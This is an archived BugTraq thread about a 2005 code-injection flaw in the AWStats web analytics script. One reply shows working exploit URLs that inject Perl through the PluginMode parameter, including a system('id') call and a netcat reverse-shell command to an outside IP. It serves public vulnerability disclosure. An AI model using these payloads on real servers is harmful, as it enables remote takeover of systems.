BugTraq
AWStats <= 6.4 Multiple vulnerabilities Feb 14 2005 08:10AM
GHC@www.securityfocus.com,[ru]@securityfocus.com@www.securityfocus.com (foster ghc ru) (1 replies)
Re: AWStats <= 6.4 Multiple vulnerabilities Feb 15 2005 03:24PM
Ondra Holecek (bln deprese net) (1 replies)
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

GHC (at) www.securityfocus (dot) com [email concealed] wrote:
|
| /*==========================================*/
| // GHC -> AWStats <- ADVISORY
| \\ PRODUCT: AWStats
| // VERSION: <= 6.3
| \\ URL: http://awstats.sourceforge.net/
| // VULNERABILITY CLASS: Multiple vulnerabilities
| \\ RISK: high
| /*==========================================*/

[...]

|
| PluginMode=:print+getpwent
|
| And the $function becomes 'BuildFullHTMLOutput_:print getpwent()'.
| This will satisfy eval() requirements., and :print getpwent() is executed.
|
|
http://www.lan.server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+
getpwent
|
| Sanitazing limits user's input, but there is no filtration for call
sympols '()'.

no, user is not limited, he can execute ANY command if he add ; at the
end of the command, try this

awstats.pl?&PluginMode=:print+system('id')+;

or even this

awstats.pl?&PluginMode=:print+system('nc+172.16.1.2+3000+-e+/bin/sh')+;

Ondra
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (FreeBSD)

iD8DBQFCEhQ5fz/hUj18TqkRAm92AKCB8p7DEirtizNdeqIv1314VcclHgCaAoO8
t85gyPeNyeIKSl1NPDuBUaE=
=CZ4M
-----END PGP SIGNATURE-----

[ reply ]
Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3? Feb 15 2005 07:25PM
Jamie Pratt (jpratt norwich edu) (2 replies)
Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3? Feb 15 2005 07:52PM
Ondra Holecek (bln deprese net) (2 replies)
Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3? Feb 15 2005 09:38PM
Herman Sheremetyev (herman swebpage com) (1 replies)
Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3? Feb 15 2005 09:46PM
Jamie Pratt (jpratt norwich edu) (2 replies)
Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3? Feb 16 2005 08:52PM
Micah Brandon (brandon vv com) (1 replies)
Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3? Feb 17 2005 07:01PM
Matt Wilder (grewaru gmail com)
Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3? Feb 16 2005 02:47PM
Thom Craver (tcraver corp-com com)
Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3? Feb 15 2005 09:23PM
Ondra Holecek (bln deprese net)


 

Privacy Statement
Copyright 2010, SecurityFocus